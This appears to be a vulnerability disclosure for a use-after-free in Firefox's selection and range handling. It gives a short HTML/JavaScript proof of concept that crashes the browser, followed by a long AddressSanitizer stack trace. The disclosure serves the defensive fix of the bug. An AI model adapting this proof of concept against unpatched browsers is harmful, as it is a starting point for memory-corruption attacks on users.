Mozilla bug tracker link: https://bugzilla.mozilla.org/show_bug.cgi?id=1340138
There is a use-after-free security vulnerability in Firefox. The vulnerability was confirmed on the nightly ASan build.
PoC and ASan log can be found below.
Notes for reproducing:
- PoC uses domFuzzLite3 extension (https://www.squarefree.com/extensions/domFuzzLite3.xpi) in order to trigger the garbage collecor
- After the PoC is opened, it takes about 10 seconds for the crash to occur
PoC:
```
<style>
body { display: table }
</style>
<script>
function freememory() {
try { fuzzPriv.forceGC(); } catch(err) { alert('Please install domFuzzLite3'); }
}
function go() {
var s = document.getSelection();
window.find("1",true,false,true,false);
s.modify("extend","forward","line");
document.body.append(document.createElement("table"));
freememory()
}
</script>
<body onload=go()>
<table>
<th>u~Z1Cqn`aA}SOkre=]{</th>
</table>
<progress></progress>
```
ASan log:
```
==119582==ERROR: AddressSanitizer: heap-use-after-free on address 0x60b000214ce8 at pc 0x7f46d6781c12 bp 0x7ffdc29fc1f0 sp 0x7ffdc29fc1e8
READ of size 8 at 0x60b000214ce8 thread T0
#0 0x7f46d6781c11 in operator! /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:308:36
#1 0x7f46d6781c11 in IsInSelection /home/worker/workspace/build/src/dom/base/nsRange.h:120
#2 0x7f46d6781c11 in nsRange::IsNodeSelected(nsINode*, unsigned int, unsigned int) /home/worker/workspace/build/src/dom/base/nsRange.cpp:202
#3 0x7f46da800fd3 in nsIFrame::IsSelected() const /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:10107:5
#4 0x7f46daaa29f6 in nsTableCellFrame::BuildDisplayList(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/tables/nsTableCellFrame.cpp:539:11
#5 0x7f46da78d923 in nsIFrame::BuildDisplayListForChild(nsDisplayListBuilder*, nsIFrame*, nsRect const&, nsDisplayListSet const&, unsigned int) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2954:7
#6 0x7f46daab9bce in nsTableFrame::GenericTraversal(nsDisplayListBuilder*, nsFrame*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/tables/nsTableFrame.cpp:1212:5
#7 0x7f46daaba703 in nsTableFrame::DisplayGenericTablePart(nsDisplayListBuilder*, nsFrame*, nsRect const&, nsDisplayListSet const&, nsDisplayTableItem*, void (*)(nsDisplayListBuilder*, nsFrame*, nsRect const&, nsDisplayListSet const&)) /home/worker/workspace/build/src/layout/tables/nsTableFrame.cpp:1267:3
#8 0x7f46da78d923 in nsIFrame::BuildDisplayListForChild(nsDisplayListBuilder*, nsIFrame*, nsRect const&, nsDisplayListSet const&, unsigned int) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2954:7
#9 0x7f46dab10731 in DisplayRows(nsDisplayListBuilder*, nsFrame*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/tables/nsTableRowGroupFrame.cpp:231:5
#10 0x7f46daaba703 in nsTableFrame::DisplayGenericTablePart(nsDisplayListBuilder*, nsFrame*, nsRect const&, nsDisplayListSet const&, nsDisplayTableItem*, void (*)(nsDisplayListBuilder*, nsFrame*, nsRect const&, nsDisplayListSet const&)) /home/worker/workspace/build/src/layout/tables/nsTableFrame.cpp:1267:3
#11 0x7f46da78d923 in nsIFrame::BuildDisplayListForChild(nsDisplayListBuilder*, nsIFrame*, nsRect const&, nsDisplayListSet const&, unsigned int) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2954:7
#12 0x7f46daab9bce in nsTableFrame::GenericTraversal(nsDisplayListBuilder*, nsFrame*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/tables/nsTableFrame.cpp:1212:5
#13 0x7f46daaba703 in nsTableFrame::DisplayGenericTablePart(nsDisplayListBuilder*, nsFrame*, nsRect const&, nsDisplayListSet const&, nsDisplayTableItem*, void (*)(nsDisplayListBuilder*, nsFrame*, nsRect const&, nsDisplayListSet const&)) /home/worker/workspace/build/src/layout/tables/nsTableFrame.cpp:1267:3
#14 0x7f46daabb382 in nsTableFrame::BuildDisplayList(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/tables/nsTableFrame.cpp:1373:3
#15 0x7f46da78d923 in nsIFrame::BuildDisplayListForChild(nsDisplayListBuilder*, nsIFrame*, nsRect const&, nsDisplayListSet const&, unsigned int) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2954:7
#16 0x7f46dab24b16 in BuildDisplayListForInnerTable /home/worker/workspace/build/src/layout/tables/nsTableWrapperFrame.cpp:207:5
#17 0x7f46dab24b16 in nsTableWrapperFrame::BuildDisplayList(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/tables/nsTableWrapperFrame.cpp:180
#18 0x7f46da78d923 in nsIFrame::BuildDisplayListForChild(nsDisplayListBuilder*, nsIFrame*, nsRect const&, nsDisplayListSet const&, unsigned int) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2954:7
#19 0x7f46da7912d2 in DisplayLine(nsDisplayListBuilder*, nsRect const&, nsRect const&, nsLineList_iterator&, int, int&, nsDisplayListSet const&, nsBlockFrame*, mozilla::css::TextOverflow*) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:6585:5
#20 0x7f46da7890ce in nsBlockFrame::BuildDisplayList(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:6677:7
#21 0x7f46da78d923 in nsIFrame::BuildDisplayListForChild(nsDisplayListBuilder*, nsIFrame*, nsRect const&, nsDisplayListSet const&, unsigned int) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2954:7
#22 0x7f46da7b22f2 in nsCanvasFrame::BuildDisplayList(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/generic/nsCanvasFrame.cpp:558:5
#23 0x7f46da78d923 in nsIFrame::BuildDisplayListForChild(nsDisplayListBuilder*, nsIFrame*, nsRect const&, nsDisplayListSet const&, unsigned int) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2954:7
#24 0x7f46da87ebf2 in mozilla::ScrollFrameHelper::BuildDisplayList(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/generic/nsGfxScrollFrame.cpp:3497:7
#25 0x7f46da78d923 in nsIFrame::BuildDisplayListForChild(nsDisplayListBuilder*, nsIFrame*, nsRect const&, nsDisplayListSet const&, unsigned int) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2954:7
#26 0x7f46da735b0a in mozilla::ViewportFrame::BuildDisplayList(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/generic/ViewportFrame.cpp:63:5
#27 0x7f46da80417b in nsIFrame::BuildDisplayListForStackingContext(nsDisplayListBuilder*, nsRect const&, nsDisplayList*) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2381:5
#28 0x7f46da990123 in nsSubDocumentFrame::BuildDisplayList(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/generic/nsSubDocumentFrame.cpp:471:7
#29 0x7f46da80417b in nsIFrame::BuildDisplayListForStackingContext(nsDisplayListBuilder*, nsRect const&, nsDisplayList*) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2381:5
#30 0x7f46da78d228 in nsIFrame::BuildDisplayListForChild(nsDisplayListBuilder*, nsIFrame*, nsRect const&, nsDisplayListSet const&, unsigned int) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2910:5
#31 0x7f46dac92672 in nsStackFrame::BuildDisplayListForChildren(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsStackFrame.cpp:59:5
#32 0x7f46dac08048 in nsBoxFrame::BuildDisplayList(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsBoxFrame.cpp:1352:3
#33 0x7f46da78d923 in nsIFrame::BuildDisplayListForChild(nsDisplayListBuilder*, nsIFrame*, nsRect const&, nsDisplayListSet const&, unsigned int) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2954:7
#34 0x7f46dac0918f in nsBoxFrame::BuildDisplayListForChildren(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsBoxFrame.cpp:1392:5
#35 0x7f46dac08048 in nsBoxFrame::BuildDisplayList(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsBoxFrame.cpp:1352:3
#36 0x7f46da78d923 in nsIFrame::BuildDisplayListForChild(nsDisplayListBuilder*, nsIFrame*, nsRect const&, nsDisplayListSet const&, unsigned int) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2954:7
#37 0x7f46dac0918f in nsBoxFrame::BuildDisplayListForChildren(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsBoxFrame.cpp:1392:5
#38 0x7f46dac08048 in nsBoxFrame::BuildDisplayList(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsBoxFrame.cpp:1352:3
#39 0x7f46da78d923 in nsIFrame::BuildDisplayListForChild(nsDisplayListBuilder*, nsIFrame*, nsRect const&, nsDisplayListSet const&, unsigned int) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2954:7
#40 0x7f46dac0918f in nsBoxFrame::BuildDisplayListForChildren(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsBoxFrame.cpp:1392:5
#41 0x7f46dac08048 in nsBoxFrame::BuildDisplayList(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsBoxFrame.cpp:1352:3
#42 0x7f46da78d923 in nsIFrame::BuildDisplayListForChild(nsDisplayListBuilder*, nsIFrame*, nsRect const&, nsDisplayListSet const&, unsigned int) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2954:7
#43 0x7f46dac0f946 in nsDeckFrame::BuildDisplayListForChildren(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsDeckFrame.cpp:199:3
#44 0x7f46dac08048 in nsBoxFrame::BuildDisplayList(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsBoxFrame.cpp:1352:3
#45 0x7f46da78d923 in nsIFrame::BuildDisplayListForChild(nsDisplayListBuilder*, nsIFrame*, nsRect const&, nsDisplayListSet const&, unsigned int) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2954:7
#46 0x7f46dac0918f in nsBoxFrame::BuildDisplayListForChildren(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsBoxFrame.cpp:1392:5
#47 0x7f46dac08048 in nsBoxFrame::BuildDisplayList(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsBoxFrame.cpp:1352:3
#48 0x7f46da78d923 in nsIFrame::BuildDisplayListForChild(nsDisplayListBuilder*, nsIFrame*, nsRect const&, nsDisplayListSet const&, unsigned int) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2954:7
#49 0x7f46dac0918f in nsBoxFrame::BuildDisplayListForChildren(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsBoxFrame.cpp:1392:5
#50 0x7f46dac08048 in nsBoxFrame::BuildDisplayList(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsBoxFrame.cpp:1352:3
#51 0x7f46da78d923 in nsIFrame::BuildDisplayListForChild(nsDisplayListBuilder*, nsIFrame*, nsRect const&, nsDisplayListSet const&, unsigned int) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2954:7
#52 0x7f46dac0918f in nsBoxFrame::BuildDisplayListForChildren(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsBoxFrame.cpp:1392:5
#53 0x7f46dac08048 in nsBoxFrame::BuildDisplayList(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsBoxFrame.cpp:1352:3
#54 0x7f46da78d923 in nsIFrame::BuildDisplayListForChild(nsDisplayListBuilder*, nsIFrame*, nsRect const&, nsDisplayListSet const&, unsigned int) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2954:7
#55 0x7f46dac0918f in nsBoxFrame::BuildDisplayListForChildren(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsBoxFrame.cpp:1392:5
#56 0x7f46dac08048 in nsBoxFrame::BuildDisplayList(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsBoxFrame.cpp:1352:3
#57 0x7f46da78d923 in nsIFrame::BuildDisplayListForChild(nsDisplayListBuilder*, nsIFrame*, nsRect const&, nsDisplayListSet const&, unsigned int) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2954:7
#58 0x7f46dac0f946 in nsDeckFrame::BuildDisplayListForChildren(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsDeckFrame.cpp:199:3
#59 0x7f46dac08048 in nsBoxFrame::BuildDisplayList(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsBoxFrame.cpp:1352:3
#60 0x7f46da78d923 in nsIFrame::BuildDisplayListForChild(nsDisplayListBuilder*, nsIFrame*, nsRect const&, nsDisplayListSet const&, unsigned int) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2954:7
#61 0x7f46dac0918f in nsBoxFrame::BuildDisplayListForChildren(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsBoxFrame.cpp:1392:5
#62 0x7f46dac08048 in nsBoxFrame::BuildDisplayList(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsBoxFrame.cpp:1352:3
#63 0x7f46da78d923 in nsIFrame::BuildDisplayListForChild(nsDisplayListBuilder*, nsIFrame*, nsRect const&, nsDisplayListSet const&, unsigned int) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2954:7
#64 0x7f46dac0f946 in nsDeckFrame::BuildDisplayListForChildren(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsDeckFrame.cpp:199:3
#65 0x7f46dac08048 in nsBoxFrame::BuildDisplayList(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsBoxFrame.cpp:1352:3
#66 0x7f46da78d923 in nsIFrame::BuildDisplayListForChild(nsDisplayListBuilder*, nsIFrame*, nsRect const&, nsDisplayListSet const&, unsigned int) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2954:7
#67 0x7f46dac0918f in nsBoxFrame::BuildDisplayListForChildren(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsBoxFrame.cpp:1392:5
#68 0x7f46dac08048 in nsBoxFrame::BuildDisplayList(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsBoxFrame.cpp:1352:3
#69 0x7f46da78d923 in nsIFrame::BuildDisplayListForChild(nsDisplayListBuilder*, nsIFrame*, nsRect const&, nsDisplayListSet const&, unsigned int) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2954:7
#70 0x7f46dac0918f in nsBoxFrame::BuildDisplayListForChildren(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsBoxFrame.cpp:1392:5
#71 0x7f46dac64b7e in nsRootBoxFrame::BuildDisplayList(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/xul/nsRootBoxFrame.cpp:195:3
#72 0x7f46da78d923 in nsIFrame::BuildDisplayListForChild(nsDisplayListBuilder*, nsIFrame*, nsRect const&, nsDisplayListSet const&, unsigned int) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2954:7
#73 0x7f46da735b0a in mozilla::ViewportFrame::BuildDisplayList(nsDisplayListBuilder*, nsRect const&, nsDisplayListSet const&) /home/worker/workspace/build/src/layout/generic/ViewportFrame.cpp:63:5
#74 0x7f46da80417b in nsIFrame::BuildDisplayListForStackingContext(nsDisplayListBuilder*, nsRect const&, nsDisplayList*) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2381:5
#75 0x7f46da6623a6 in nsLayoutUtils::PaintFrame(nsRenderingContext*, nsIFrame*, nsRegion const&, unsigned int, nsDisplayListBuilderMode, nsLayoutUtils::PaintFrameFlags) /home/worker/workspace/build/src/layout/base/nsLayoutUtils.cpp:3565:5
#76 0x7f46da565487 in mozilla::PresShell::Paint(nsView*, nsRegion const&, unsigned int) /home/worker/workspace/build/src/layout/base/PresShell.cpp:6481:5
#77 0x7f46d9d6c897 in nsViewManager::ProcessPendingUpdatesPaint(nsIWidget*) /home/worker/workspace/build/src/view/nsViewManager.cpp:484:7
#78 0x7f46d9d6be97 in nsViewManager::ProcessPendingUpdatesForView(nsView*, bool) /home/worker/workspace/build/src/view/nsViewManager.cpp:416:9
#79 0x7f46d9d6f40d in nsViewManager::ProcessPendingUpdates() /home/worker/workspace/build/src/view/nsViewManager.cpp:1105:5
#80 0x7f46da4bfc8a in nsRefreshDriver::Tick(long, mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:2037:7
#81 0x7f46da4cbd25 in mozilla::RefreshDriverTimer::TickRefreshDrivers(long, mozilla::TimeStamp, nsTArray<RefPtr<nsRefreshDriver> >&) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:305:7
#82 0x7f46da4cb9f4 in mozilla::RefreshDriverTimer::Tick(long, mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:327:5
#83 0x7f46da4ce063 in RunRefreshDrivers /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:722:5
#84 0x7f46da4ce063 in mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::TickRefreshDriver(mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:631
#85 0x7f46da4c9157 in mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::ParentProcessVsyncNotifier::Run() /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:508:9
#86 0x7f46d3c2db89 in nsThread::ProcessNextEvent(bool, bool*) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1264:7
#87 0x7f46d3c2a480 in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:389:10
#88 0x7f46d4a43eb4 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/glue/MessagePump.cpp:124:5
#89 0x7f46d49b5028 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:238:3
#90 0x7f46d49b5028 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:231
#91 0x7f46d49b5028 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:211
#92 0x7f46d9ded82f in nsBaseAppShell::Run() /home/worker/workspace/build/src/widget/nsBaseAppShell.cpp:156:3
#93 0x7f46dd430051 in nsAppStartup::Run() /home/worker/workspace/build/src/toolkit/components/startup/nsAppStartup.cpp:283:19
#94 0x7f46dd5edc0c in XREMain::XRE_mainRun() /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4470:10
#95 0x7f46dd5ef708 in XREMain::XRE_main(int, char**, mozilla::BootstrapConfig const&) /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4647:8
#96 0x7f46dd5f09cc in XRE_main(int, char**, mozilla::BootstrapConfig const&) /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4738:16
#97 0x4dfebf in do_main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:234:10
#98 0x4dfebf in main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:305
#99 0x7f46eefdb82f in __libc_start_main /build/glibc-t3gR2i/glibc-2.23/csu/../csu/libc-start.c:291
#100 0x41c2e8 in _start (/home/ifratric/p0/latest/firefox/firefox+0x41c2e8)
0x60b000214ce8 is located 88 bytes inside of 112-byte region [0x60b000214c90,0x60b000214d00)
freed by thread T0 here:
#0 0x4b2a3b in __interceptor_free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:38:3
#1 0x7f46d3acb2c4 in SnowWhiteKiller::~SnowWhiteKiller() /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2664:9
#2 0x7f46d3acaeb6 in nsCycleCollector::FreeSnowWhite(bool) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2839:3
#3 0x7f46d53d990e in AsyncFreeSnowWhite::Run() /home/worker/workspace/build/src/js/xpconnect/src/XPCJSContext.cpp:145:34
#4 0x7f46d3c2db89 in nsThread::ProcessNextEvent(bool, bool*) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1264:7
#5 0x7f46d3c2a480 in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:389:10
#6 0x7f46d4a43ebf in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/glue/MessagePump.cpp:96:21
#7 0x7f46d49b5028 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:238:3
#8 0x7f46d49b5028 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:231
#9 0x7f46d49b5028 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:211
#10 0x7f46d9ded82f in nsBaseAppShell::Run() /home/worker/workspace/build/src/widget/nsBaseAppShell.cpp:156:3
#11 0x7f46dd430051 in nsAppStartup::Run() /home/worker/workspace/build/src/toolkit/components/startup/nsAppStartup.cpp:283:19
#12 0x7f46dd5edc0c in XREMain::XRE_mainRun() /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4470:10
#13 0x7f46dd5ef708 in XREMain::XRE_main(int, char**, mozilla::BootstrapConfig const&) /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4647:8
#14 0x7f46dd5f09cc in XRE_main(int, char**, mozilla::BootstrapConfig const&) /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4738:16
#15 0x4dfebf in do_main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:234:10
#16 0x4dfebf in main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:305
#17 0x7f46eefdb82f in __libc_start_main /build/glibc-t3gR2i/glibc-2.23/csu/../csu/libc-start.c:291
previously allocated by thread T0 here:
#0 0x4b2d5b in malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:52:3
#1 0x4e10cd in moz_xmalloc /home/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:83:17
#2 0x7f46d6796c00 in operator new /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:194:12
#3 0x7f46d6796c00 in nsRange::CloneRange() const /home/worker/workspace/build/src/dom/base/nsRange.cpp:2495
#4 0x7f46d67970ba in nsRange::CloneRange(nsIDOMRange**) /home/worker/workspace/build/src/dom/base/nsRange.cpp:2507:14
#5 0x7f46d66801d4 in nsHTMLCopyEncoder::SetSelection(nsISelection*) /home/worker/workspace/build/src/dom/base/nsDocumentEncoder.cpp:1426:5
#6 0x7f46d6596c5e in SelectionCopyHelper(nsISelection*, nsIDocument*, bool, short, unsigned int, nsITransferable**) /home/worker/workspace/build/src/dom/base/nsCopySupport.cpp:199:10
#7 0x7f46da97e9ee in nsAutoCopyListener::NotifySelectionChanged(nsIDOMDocument*, nsISelection*, short) /home/worker/workspace/build/src/layout/generic/nsSelection.cpp:6667:10
#8 0x7f46da95f019 in mozilla::dom::Selection::NotifySelectionListeners() /home/worker/workspace/build/src/layout/generic/nsSelection.cpp:6254:5
#9 0x7f46da97806c in NotifySelectionListeners /home/worker/workspace/build/src/layout/generic/nsSelection.cpp:2429:12
#10 0x7f46da97806c in mozilla::dom::Selection::Extend(nsINode&, unsigned int, mozilla::ErrorResult&) /home/worker/workspace/build/src/layout/generic/nsSelection.cpp:5762
#11 0x7f46da9533e7 in Extend /home/worker/workspace/build/src/layout/generic/nsSelection.cpp:5474:3
#12 0x7f46da9533e7 in nsFrameSelection::TakeFocus(nsIContent*, unsigned int, unsigned int, mozilla::CaretAssociationHint, bool, bool) /home/worker/workspace/build/src/layout/generic/nsSelection.cpp:1873
#13 0x7f46da94ebaf in nsFrameSelection::MoveCaret(nsDirection, bool, nsSelectionAmount, nsFrameSelection::CaretMovementStyle) /home/worker/workspace/build/src/layout/generic/nsSelection.cpp:1160:14
#14 0x7f46da97c97d in mozilla::dom::Selection::Modify(nsAString_internal const&, nsAString_internal const&, nsAString_internal const&, mozilla::ErrorResult&) /home/worker/workspace/build/src/layout/generic/nsSelection.cpp:6426:8
#15 0x7f46d730a949 in mozilla::dom::SelectionBinding::modify(JSContext*, JS::Handle<JSObject*>, mozilla::dom::Selection*, JSJitMethodCallArgs const&) /home/worker/workspace/build/src/obj-firefox/dom/bindings/SelectionBinding.cpp:778:3
#16 0x7f46d7fdbf77 in mozilla::dom::GenericBindingMethod(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:2951:13
#17 0x7f46dda78c24 in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:281:15
#18 0x7f46dda78c24 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:463
#19 0x7f46dda5ef88 in CallFromStack /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:514:12
#20 0x7f46dda5ef88 in Interpret(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:2960
#21 0x7f46dda4411a in js::RunScript(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:409:12
#22 0x7f46dda78eb7 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:481:15
#23 0x7f46dda79552 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:527:10
#24 0x7f46de426f3c in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/jsapi.cpp:2865:12
#25 0x7f46d7b59632 in mozilla::dom::EventHandlerNonNull::Call(JSContext*, JS::Handle<JS::Value>, mozilla::dom::Event&, JS::MutableHandle<JS::Value>, mozilla::ErrorResult&) /home/worker/workspace/build/src/obj-firefox/dom/bindings/EventHandlerBinding.cpp:260:37
#26 0x7f46d845fbbd in Call<nsISupports *> /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventHandlerBinding.h:362:12
#27 0x7f46d845fbbd in mozilla::JSEventHandler::HandleEvent(nsIDOMEvent*) /home/worker/workspace/build/src/dom/events/JSEventHandler.cpp:214
#28 0x7f46d842a6f9 in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, nsIDOMEvent*, mozilla::dom::EventTarget*) /home/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1123:16
#29 0x7f46d842c5b4 in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent**, mozilla::dom::EventTarget*, nsEventStatus*) /home/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1297:20
#30 0x7f46d8416eb3 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArray<mozilla::EventTargetChainItem>&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /home/worker/workspace/build/src/dom/events/EventDispatcher.cpp:465:5
#31 0x7f46d841a744 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArray<mozilla::dom::EventTarget*>*) /home/worker/workspace/build/src/dom/events/EventDispatcher.cpp:822:9
#32 0x7f46da62158e in nsDocumentViewer::LoadComplete(nsresult) /home/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:1044:7
#33 0x7f46dcae3e7f in nsDocShell::EndPageLoad(nsIWebProgress*, nsIChannel*, nsresult) /home/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7632:5
